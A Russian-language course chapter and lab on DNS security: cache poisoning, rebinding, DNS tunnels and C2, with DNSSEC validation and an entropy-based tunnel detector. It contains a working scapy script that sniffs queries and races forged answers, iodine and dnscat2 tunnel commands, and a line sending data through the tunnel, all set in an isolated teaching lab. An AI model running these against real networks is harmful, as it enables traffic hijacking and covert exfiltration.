Отравленный кеш: DNS, туннели и C2

DNS — единственная система в сети, которой доверяют все: браузер, почтовый клиент, обновления, системы управления. Если ответ на вопрос «какой адрес у этого имени» подменён, дальше всё работает штатно — соединение устанавливается, сертификат проверяется, трафик идёт. Именно поэтому DNS одновременно является целью атаки и удобным транспортом для того, чтобы вынести данные наружу.

В основной программе DNS разбирался как распределённая база данных с иерархией и кешем. Здесь рассматриваются три свойства, которые делают его уязвимым: ответ принимается по совпадению идентификатора и порта, кеш хранит ответ дольше, чем длится атака, а запросы почти никогда не фильтруются по содержимому.

Тема 15 основной программы дала формат сообщения и типы записей; тема 17 — TLS и сертификаты. Здесь DNS берётся со стороны доверия: что нужно, чтобы ответ приняли, как из запросов сделать канал и как этот канал выглядит для защитника. Границы: туннели как транспорт — тема 06.

Тень базового курса: кеш, который верит ответу

В теме 15 кеширование выглядело как оптимизация: резолвер запомнил ответ на время TTL и не ходит к авторитетному серверу повторно. Побочный эффект — окно атаки: один подложенный ответ живёт в кеше столько же, сколько настоящий.

Резолвер принимает ответ, если совпали идентификатор транзакции, адрес источника, порт назначения и имя в вопросе. В раннем DNS идентификатор был 16-битным, порт — фиксированным или предсказуемым, и вероятность угадать оба была достаточной для перебора ¹².

Систематический разбор угроз DNS дан в RFC 3833 ⁴. Современный резолвер рандомизирует и идентификатор, и исходный порт, и регистр символов в имени (0x20-кодирование). Это поднимает энтропию, но не устраняет проблему: если атакующий на пути, ему не нужно угадывать — он видит запрос.

Сообщение DNS и доверие к ответу

Формат, идентификатор, флаги

Сообщение состоит из заголовка и четырёх секций ⁸: question, answer, authority, additional. Заголовок содержит 16-битный ID, флаги (QR, Opcode, AA, TC, RD, RA, RCODE) и счётчики записей.

dig +qr example.com A

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 39481
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

id: 39481 — то самое поле, которое должно совпасть. rd означает «требуется рекурсия», ra — «рекурсия доступна», qr — это ответ. Резолвер, получив ответ, проверяет ID, адрес и порт; больше ничего в протоколе не удостоверяет отправителя.

Рекурсия, bailiwick и TTL

Рекурсивный резолвер идёт от корня вниз: корневой сервер делегирует зону .com, тот — example.com, авторитетный сервер отвечает записью. Каждый ответ содержит TTL, и резолвер кеширует его на это время.

Правило bailiwick ограничивает, какие записи из additional-секции можно кешировать: только те, что относятся к делегированной зоне. Это защита от подкладывания чужих записей, но она не спасает от подмены самого ответа.

Отравление кеша

Атака Каминского и энтропия

Атака 2008 года эксплуатировала предсказуемость: резолвер отправляет запрос авторитетному серверу, атакующий засыпает его поддельными ответами на тот же вопрос с разными ID и портами, надеясь, что один совпадёт раньше настоящего ³. Успех означает, что в кеше окажется поддельный адрес, и все клиенты резолвера пойдут туда.

Энтропия складывается из ID (16 бит), исходного порта (обычно 16 бит) и 0x20-регистра (до 16 бит на имя). Чем больше энтропия, тем больше попыток нужно. Практическая оценка: при 32 битах энтропии и миллионе запросов в секунду вероятность успеха за время TTL всё ещё ненулевая, поэтому рандомизация — снижение риска, а не устранение.

sysctl net.ipv4.ip_local_port_range
dig +short porttest.dns-oarc.net TXT

Вторая команда проверяет, насколько широко резолвер выбирает порты; результат ниже ожидаемого означает, что энтропия меньше, чем кажется.

Birthday-атака и гонка ответов

Birthday-атака использует парадокс дней рождения: если отправить много запросов на разные имена и много ответов, вероятность совпадения хотя бы одной пары растёт быстрее, чем кажется. На практике это означает, что атакующему не нужно угадывать конкретный ID — достаточно создать достаточно пар.

Гонка ответов — более прямая версия: атакующий на пути видит запрос и отвечает раньше авторитетного сервера. Ему не нужно угадывать ничего, кроме адреса и порта, которые видны в пакете.

from scapy.all import IP, UDP, DNS, DNSRR, sniff, send

def on_packet(pkt):
    if DNS in pkt and pkt[DNS].qr == 0:
        q = pkt[DNS].qd.qname
        resp = (IP(src=pkt[IP].dst, dst=pkt[IP].src) /
                UDP(sport=53, dport=pkt[UDP].sport) /
                DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,
                    an=DNSRR(rrname=q, ttl=300, rdata="192.0.2.66")))
        send(resp, verbose=False)

sniff(filter="udp port 53", prn=on_packet)

Скрипт отвечает от имени сервера, к которому шёл запрос; резолвер примет ответ, если успеет раньше настоящего. Это и есть гонка.

Спуфинг на пути

Если атакующий находится между клиентом и резолвером или между резолвером и авторитетным сервером, он может подменять ответы без всякой гонки. Защита — DNSSEC: подпись ответа проверяется, и подделка обнаруживается ⁵. Но DNSSEC защищает только целостность, не конфиденциальность, и развёрнут далеко не везде.

DNS rebinding

TTL 0 и same-origin

Rebinding эксплуатирует то, что браузер считает имя доверенным, а резолвер может вернуть новый адрес. Схема: страница загружается с attacker.example, TTL ставится 0, затем имя переразрешается в 192.0.2.20 — внутренний адрес. Для браузера это тот же origin, и политика same-origin не мешает читать ответ.

dig +short rebind.attacker.example
dig +short rebind.attacker.example

Два запроса подряд могут вернуть разные адреса. Защита: запрет DNS-ответов, указывающих на частные адреса, из внешних зон; dns-rebind-protection в резолверах; проверка Host на внутренних сервисах.

Pinning на уровне сети

Сертификат привязывается к имени, а не к адресу, поэтому rebinding не ломает TLS. Ломается он о pinning: если клиент проверяет, что сертификат выпущен для ожидаемого имени и что адрес не менялся, подмена не проходит. На практике pinning в браузерах почти не используется, поэтому rebinding остаётся рабочим приёмом.

Скрытые каналы и C2

iodine, dnscat2 и типы записей

DNS-туннель кодирует данные в имени запроса и в ответе. iodine использует TXT, NULL и приватные типы, dnscat2 — TXT и CNAME. Пропускная способность зависит от размера имени и частоты запросов: типично 3–10 Кбит/с, чего достаточно для команд и небольших файлов.

iodine -f -P password t1.example.com

На серверной стороне — iodined с адресом туннеля. Трафик выглядит как обычные DNS-запросы, но имена длинные, энтропия высокая, а доля уникальных поддоменов близка к единице.

dnscat2-server example.com
dnscat2 example.com

Пропускная способность и её оценка

Каждый запрос несёт имя длиной до 253 байт, ответ — до размера, разрешённого EDNS(0). Реальная скорость ограничена задержкой: при RTT 50 мс и одном запросе в полёте это около 20 запросов в секунду, то есть единицы килобит. Параллельные запросы ускоряют канал, но делают профиль ещё заметнее.

DoH, DoT, fronting, fast flux, DGA

DoH (RFC 8484) и DoT (RFC 7858) шифруют запросы, что мешает фильтрации по имени, но не мешает фильтрации по IP-адресу сервера ⁶⁷. Domain fronting использует расхождение между SNI и заголовком Host: запрос идёт к крупному CDN, а внутри — к нужному домену. Fast flux меняет адреса в ответе с коротким TTL, DGA генерирует имена алгоритмически, чтобы обойти чёрные списки.

curl -s -H 'content-type: application/dns-json' \
  'https://cloudflare-dns.com/dns-query?name=example.com&type=A'

Числа: энтропия, TTL и пропускная способность

Стоимость отравления удобно считать в «ожидаемых попаданиях». Пусть резолвер рандомизирует 16-битный идентификатор и 16-битный исходный порт; суммарная энтропия — 32 бита, то есть 4,29 млрд комбинаций. Атакующий, отправляющий 100 тысяч поддельных ответов в секунду в течение часа, делает 360 млн попыток — ожидаемое число совпадений около 0,084. При миллионе ответов в секунду ожидание за тот же час приближается к 0,84: успех становится вероятным, но не гарантированным.

100 000 пакетов/с * 3600 с = 3,6e8 попыток
3,6e8 / 2^32 = 3,6e8 / 4,29e9 = 0,084

1 000 000 пакетов/с * 3600 с = 3,6e9 попыток
3,6e9 / 4,29e9 = 0,84

Отсюда практический вывод: рандомизация не делает отравление невозможным, она делает его дорогим. Защита усиливается 0x20-кодированием (до 16 дополнительных бит на имя) и DNSSEC, который снимает вопрос угадывания вовсе.

TTL задаёт длительность последствий. Ответ с TTL 3600 секунд живёт в кеше час; всё это время клиенты резолвера получают поддельный адрес, даже если атака давно прекратилась. Поэтому защитники ограничивают максимальный TTL и следят за его аномалиями.

Пропускная способность DNS-туннеля считается по размеру полезной нагрузки в имени. При имени 200 байт, 20 запросах в секунду и одном запросе в полёте канал даёт около 32 Кбит/с теоретически; реальные потери на кодирование и повторные передачи снижают его до 3–10 Кбит/с. Этого хватает для команд и небольших файлов, но не для передачи данных в объёме.

Обнаружение и защита

Скрипт, считающий энтропию и длину имён из dns.log:

import math, sys, collections

def entropy(s):
    c = collections.Counter(s)
    n = len(s)
    return -sum(v/n * math.log2(v/n) for v in c.values())

for line in open(sys.argv[1]):
    if line.startswith("#"): continue
    q = line.split("\t")[9]
    if len(q) > 40 or entropy(q.split(".")[0]) > 3.5:
        print(q)

Порог подбирается по базовой линии: в зоне с длинными легитимными именами он выше, чем в зоне с короткими.

Итоги темы

DNS доверяет ответу, если совпали идентификатор, порт и вопрос. Энтропия этих полей — единственная преграда для подделки; DNSSEC заменяет её криптографической подписью, но требует развёртывания на всей цепочке.

Кеш превращает одну успешную подделку в длительную: TTL определяет, сколько клиентов получат неверный адрес. Rebinding использует ту же механику, чтобы обойти same-origin, а туннели — чтобы превратить запросы в канал управления.

Защита строится на трёх уровнях: криптографическая проверка (DNSSEC), сетевая фильтрация (RPZ, egress-allowlist) и анализ профиля (энтропия, длина, частота). Ни один из них не работает в одиночку.

Следующая тема расширяет канал до полноценного транспорта: туннели, пивоты и обход периметра.

Литература

1. Mockapetris P. Domain Names — Concepts and Facilities. — RFC 1034, IETF, 1987. https://www.rfc-editor.org/rfc/rfc1034
2. Mockapetris P. Domain Names — Implementation and Specification. — RFC 1035, IETF, 1987. https://www.rfc-editor.org/rfc/rfc1035
3. Hubert A., van Mook A. Measures for Making DNS More Resilient against Forged Answers. — RFC 5452, IETF, 2009. https://www.rfc-editor.org/rfc/rfc5452
4. Atkins D., Austein R. Threat Analysis of the Domain Name System (DNS). — RFC 3833, IETF, 2004. https://www.rfc-editor.org/rfc/rfc3833
5. Arends R., Austein R., Larson M., Massey D., Rose S. DNS Security Introduction and Requirements. — RFC 4033, IETF, 2005. https://www.rfc-editor.org/rfc/rfc4033
6. Hoffman P., McManus P. DNS Queries over HTTPS (DoH). — RFC 8484, IETF, 2018. https://www.rfc-editor.org/rfc/rfc8484
7. Hu Z., Zhu L., Heidemann J., Mankin A., Wessels D., Hoffman P. Specification for DNS over Transport Layer Security (TLS). — RFC 7858, IETF, 2016. https://www.rfc-editor.org/rfc/rfc7858
8. Liu C., Albitz P. DNS and BIND. 5th ed. — O'Reilly Media, 2006.

Дополнительные материалы

Вопросы для самопроверки

1. Почему идентификатор DNS-транзакции не является аутентификацией?
2. Что произойдёт, если резолвер принимает ответ с чужим адресом источника?
3. Как TTL влияет на длительность последствий отравления?
4. Чем атака Каминского отличается от простого спуфинга на пути?
5. Почему 0x20-кодирование повышает энтропию не на всех именах?
6. Что проверяет DNSSEC и чего он не делает?
7. Почему rebinding не ломается о TLS?
8. Как отличить DNS-туннель от легитимного сервиса с длинными именами?
9. Почему DoH не решает проблему фильтрации, а переносит её?
10. Что такое domain fronting и почему CDN оказался удобной ширмой?
11. Как fast flux связан с коротким TTL и почему его сложно заблокировать?
12. Какие признаки в dns.log указывают на DGA?

Глоссарий темы

Рекурсивный резолвер — сервер, который выполняет запросы от имени клиента и кеширует ответы.

Авторитетный сервер — сервер, который хранит зону и отвечает за неё.

Bailiwick — правило, ограничивающее кеширование записями доверенной зоны.

0x20-кодирование — случайная смена регистра в имени запроса для повышения энтропии.

DNSSEC — набор расширений для криптографической подписи записей DNS.

DNS rebinding — подмена адреса по имени для обхода same-origin.

DoH, DoT — DNS поверх HTTPS и TLS.

Fast flux — быстрая смена адресов в ответе.

DGA — алгоритмическая генерация доменных имён.

Domain fronting — расхождение SNI и Host для обхода фильтрации.

Шпаргалка по инструментам

Что почитать и посмотреть

• RFC 1034 и RFC 1035 — устройство DNS: иерархия, сообщение, типы записей.
• RFC 5452 — меры против поддельных ответов; точное описание того, что должно совпасть.
• RFC 3833 — систематический разбор угроз DNS, включая отравление кеша.
• RFC 4033 — введение в DNSSEC: что подписывается и как проверяется.
• RFC 8484 — DoH: формат запроса и последствия для фильтрации.
• Liu, Albitz — практическое администрирование BIND: зоны, делегирование, кеш.

Углубление

Отравление через дополнительную секцию. Некоторые резолверы кешировали записи из additional, не проверяя bailiwick. Это позволяло подкладывать чужие имена одним ответом. Современные резолверы проверяют зону, но старые устройства в сети — нет.

DNS как датчик. Всплеск NXDOMAIN, рост числа уникальных поддоменов, запросы к редким типам записей — три признака, которые не требуют содержимого и работают на шифрованном трафике.

Туннель через DoH. Если резолвер ходит по HTTPS, фильтрация по имени на сети не работает. Остаётся фильтрация по адресу DoH-сервера и анализ размеров и тайминга, который для туннеля характерен.

Кеш и отрицательные ответы. NXDOMAIN тоже кешируется, и поддельный отрицательный ответ убирает имя из видимости на время TTL. Это тише, чем подмена адреса: пользователь видит «сайт не найден», а не чужую страницу.

Лабораторная работа 5. Отравленный кеш

• Раздел курса: апокриф 5 «Отравленный кеш: DNS, туннели и C2»

Введение

Работа собирает DNS-инфраструктуру из трёх узлов: авторитетный сервер, рекурсивный резолвер и клиент. Сначала проверяется штатное разрешение и кеширование, затем — гонка ответов, rebinding и DNS-туннель. Каждая часть заканчивается разбором того, как атака выглядит в журнале и какая настройка её останавливает.

Эксперименты ограничены: гонка ответов проводится на локальном резолвере с известным идентификатором, туннель — на несколько килобайт данных. Цель — увидеть механизм, а не измерить скорость.

Цель работы

После выполнения работы получится:

• поднять авторитетную зону и рекурсивный резолвер в пространствах имён;
• показать кеширование и влияние TTL на время жизни поддельного ответа;
• провести гонку ответов и подтвердить подмену записью в кеше;
• настроить проверку DNSSEC и показать, что она обнаруживает подделку;
• собрать rebinding-страницу и объяснить, почему same-origin её не останавливает;
• поднять DNS-туннель и измерить его пропускную способность;
• написать детектор туннеля по длине и энтропии имён;
• найти и исправить ошибку в детекторе.

Теоретический минимум

Разделы теории «Сообщение DNS и доверие к ответу», «Отравление кеша», «DNS rebinding» и «Скрытые каналы и C2».

Перечень оснащения

Уровень воспроизводимости: 1 — пространства имён; 0 — для DNSSEC в сети, которая не пропускает RRSIG.

Linux с dnsmasq, unbound (по возможности), dig, python3, scapy, tshark, iodine (по возможности). Всё в unshare -rnm. Если unbound и iodine недоступны, используются dnsmasq в режиме форвардера и замена туннеля на кодирование в TXT-запросах скриптом.

Порядок выполнения работы

unshare -rnm --propagation private bash
mount -t tmpfs none /run
mkdir -p /run/netns

Топология: auth (192.0.2.53), resolver (192.0.2.54), client (192.0.2.10), attacker (192.0.2.66) на мосте br0.

Часть 1. Авторитетная зона и резолвер

Задание

На auth поднять зону nsu.example:

mkdir -p /tmp/zone
cat > /tmp/zone/nsu.example <<'EOF'
192.0.2.20 www.nsu.example
192.0.2.21 mail.nsu.example
192.0.2.22 vpn.nsu.example
EOF
ip netns exec auth dnsmasq --no-daemon --interface=eth0 --bind-interfaces \
  --auth-server=ns1.nsu.example,eth0 --auth-zone=nsu.example \
  --addn-hosts=/tmp/zone/nsu.example --log-queries &

На resolver — форвардер на auth:

ip netns exec resolver dnsmasq --no-daemon --interface=eth0 --bind-interfaces \
  --server=192.0.2.53 --no-resolv --cache-size=1000 --log-queries &

Проверить с клиента:

ip netns exec client dig @192.0.2.54 www.nsu.example A +noall +answer
ip netns exec client dig @192.0.2.54 www.nsu.example A +noall +answer

Что должно получиться

Первый запрос идёт к auth, второй обслуживается из кеша резолвера за время меньше миллисекунды. В журнале resolver видно, что второй запрос не ушёл наверх. Записать TTL и объяснить, сколько времени поддельный ответ прожил бы в кеше.

Часть 2. Гонка ответов

Задание

На attacker запустить сниффер, который отвечает на запросы к auth раньше самого auth:

# race.py
from scapy.all import IP, UDP, DNS, DNSRR, sniff, send

AUTH = "192.0.2.53"

def on_packet(pkt):
    if DNS not in pkt or pkt[DNS].qr != 0:
        return
    if pkt[IP].dst != AUTH:
        return
    q = pkt[DNS].qd.qname
    resp = (IP(src=AUTH, dst=pkt[IP].src) /
            UDP(sport=53, dport=pkt[UDP].sport) /
            DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,
                an=DNSRR(rrname=q, ttl=600, rdata="192.0.2.66")))
    send(resp, verbose=False)

sniff(filter="udp port 53", prn=on_packet)

Очистить кеш резолвера и запросить имя:

ip netns exec resolver pkill -HUP dnsmasq
ip netns exec client dig @192.0.2.54 vpn.nsu.example A +noall +answer
ip netns exec client dig @192.0.2.54 vpn.nsu.example A +noall +answer

Что должно получиться

Ответ содержит 192.0.2.66 вместо 192.0.2.22; повторный запрос возвращает то же из кеша. Объяснить, почему гонка выигрывается не всегда и что определяет вероятность.

Часть 3. DNSSEC

Задание

Сам dig ничего не проверяет: +dnssec только просит сервер вернуть записи RRSIG. Проверку выполняет валидирующий резолвер, и признак успешной проверки — флаг ad в ответе. Поэтому нужен резолвер, который умеет валидацию, — unbound с корневым якорем доверия.

Сначала проверить, что среда вообще пропускает DNSSEC-записи:

dig +dnssec example.com A | grep -c RRSIG

Ноль означает, что сеть или локальный резолвер вырезает RRSIG: живую проверку в такой среде поставить нельзя, часть выполняется на уровне 0. Если RRSIG есть — поднять unbound на отдельном порту, чтобы не занимать 53:

unbound-anchor -a /tmp/root.key || true
cat > /tmp/unbound.conf <<'EOF'
server:
  interface: 127.0.0.1
  port: 5353
  access-control: 127.0.0.0/8 allow
  auto-trust-anchor-file: "/tmp/root.key"
EOF
unbound -d -c /tmp/unbound.conf >/tmp/unbound.log 2>&1 &
echo $! > /tmp/unbound.pid
sleep 1

Проверить три состояния:

dig @127.0.0.1 -p 5353 example.com A +dnssec | grep -E "status:|flags:"
dig @127.0.0.1 -p 5353 dnssec-failed.org A | grep "status:"
dig @127.0.0.1 -p 5353 dnssec-failed.org A +cd | grep -E "status:|flags:"

Быстрая проверка без демона — тот же unbound-host со встроенным якорем:

unbound-host -D example.com
unbound-host -D dnssec-failed.org

Что должно получиться

Если unbound-anchor не смог обновить якорь (нет прямого доступа к корневым серверам), берётся якорь из пакета дистрибутива — в Debian и Ubuntu это /usr/share/dns/root.key. Якорь не помогает, если ответы приходят без RRSIG: тогда валидатор честно отвечает SERVFAIL на всё.

Первый ответ — NOERROR с флагом ad: подпись сошлась. Второй — SERVFAIL: зона намеренно сломана, и валидатор отказал. Третий, с +cd (checking disabled), — NOERROR без ad: данные пришли, но никто их не проверял. unbound-host -D повторяет ту же картину в одну команду.

Эта часть требует выхода в интернет: корневой якорь и подписанные зоны берутся из реального DNS. В полностью изолированной лаборатории она выполняется на уровне 0 — по заранее снятым ответам, — либо на заранее подписанной локальной зоне; в журнале отмечается, какой вариант использован.

Объяснить, почему DNSSEC не защищает от подмены на пути, если резолвер не проверяет подпись, и почему он не скрывает содержимое запроса.

Часть 4. Rebinding

Задание

Поднять на attacker HTTP-сервер, который отдаёт страницу, обращающуюся к rebind.attacker.example. Настроить auth так, чтобы первые ответы указывали на 192.0.2.66, а через несколько секунд — на 192.0.2.20 (внутренний веб-сервер). Проверить с клиента:

ip netns exec client curl -s http://rebind.attacker.example/ | head

Что должно получиться

Страница загружается с внешнего адреса, а затем читает ответ внутреннего сервиса, хотя браузер считает, что остаётся на том же origin. Объяснить, почему TTL 0 и смена адреса ломают наивную проверку, и что делает dns-rebind-protection.

Часть 5. DNS-туннель

Задание

Поднять iodined на attacker и подключиться клиентом:

ip netns exec attacker iodined -f -P labpass 10.0.0.1 tunnel.nsu.example
ip netns exec client iodine -f -P labpass tunnel.nsu.example

Измерить пропускную способность передачей файла:

dd if=/dev/zero bs=1024 count=100 2>/dev/null | base64 > /tmp/data.txt
time ip netns exec client sh -c 'cat /tmp/data.txt > /dev/tcp/10.0.0.2/9000'

Снять трафик и посмотреть имена:

ip netns exec resolver tshark -i eth0 -f "udp port 53" -a duration:20 -w tunnel.pcap
tshark -r tunnel.pcap -Y "dns.qry.name" -T fields -e dns.qry.name | head -20

Что должно получиться

Туннель поднимается, данные проходят, скорость измерена в килобитах в секунду. В захвате — длинные имена с высокой энтропией и почти без повторов. Объяснить, почему такой профиль отличается от обычного веб-сёрфинга.

Часть 6. Детектор туннеля

Задание

Написать скрипт, который читает dns.log (или вывод tshark) и помечает имена с длиной больше 40 символов или энтропией метки выше 3,5:

import math, sys, collections

def entropy(s):
    c = collections.Counter(s)
    n = len(s)
    return -sum(v/n * math.log2(v/n) for v in c.values())

for line in sys.stdin:
    name = line.strip()
    if not name: continue
    label = name.split(".")[0]
    if len(name) > 40 or entropy(label) > 3.5:
        print(f"{name}\t{len(name)}\t{entropy(label):.2f}")

Запустить на захвате из части 5 и на обычном трафике из части 1.

Что должно получиться

Туннельные имена помечены, обычные — нет. Подобрать порог так, чтобы не было ложных срабатываний на легитимных длинных именах; объяснить, почему единого порога не существует.

Часть 7. Найти и исправить ошибку

Задание

Детектор считает энтропию по всему имени, включая точку и домен, и потому пропускает короткие случайные метки:

def entropy(s):
    c = collections.Counter(s)
    n = len(s)
    return -sum(v/n * math.log2(v/n) for v in c.values())

Исправить так, чтобы энтропия считалась по первой метке, а длина — по всему имени; добавить проверку на минимальную длину метки, чтобы не ловить a.example.com.

Что должно получиться

Исправленный скрипт, который на учебном наборе помечает туннель и не помечает обычные имена; объяснение, почему энтропия по всему имени занижена.

Журнал работы

Контрольные вопросы

1. Какие поля ответа должны совпасть, чтобы резолвер его принял?
2. Из чего складывается энтропия запроса и почему 0x20-кодирование её повышает?
3. Почему birthday-атака не требует угадывать конкретный ID?
4. Что делает bailiwick и от чего он защищает?
5. Почему DNSSEC не защищает конфиденциальность запросов?
6. Как rebinding обходит same-origin и что его останавливает?
7. Почему DNS-туннель медленный и от чего зависит его скорость?
8. Чем профиль туннеля отличается от профиля обычного клиента?
9. Почему DoH мешает фильтрации по именам, но не отменяет её полностью?
10. Что такое fast flux и как он связан с TTL?
11. Почему детектор по энтропии требует базовой линии?
12. Какие записи DNS чаще всего используются для скрытых каналов и почему?

Уборка

pkill -f race.py
pkill dnsmasq
pkill iodined
pkill iodine
pkill tshark
for n in auth resolver client attacker; do ip netns del $n 2>/dev/null; done
ip link del br0 2>/dev/null
rm -rf /tmp/zone /tmp/data.txt tunnel.pcap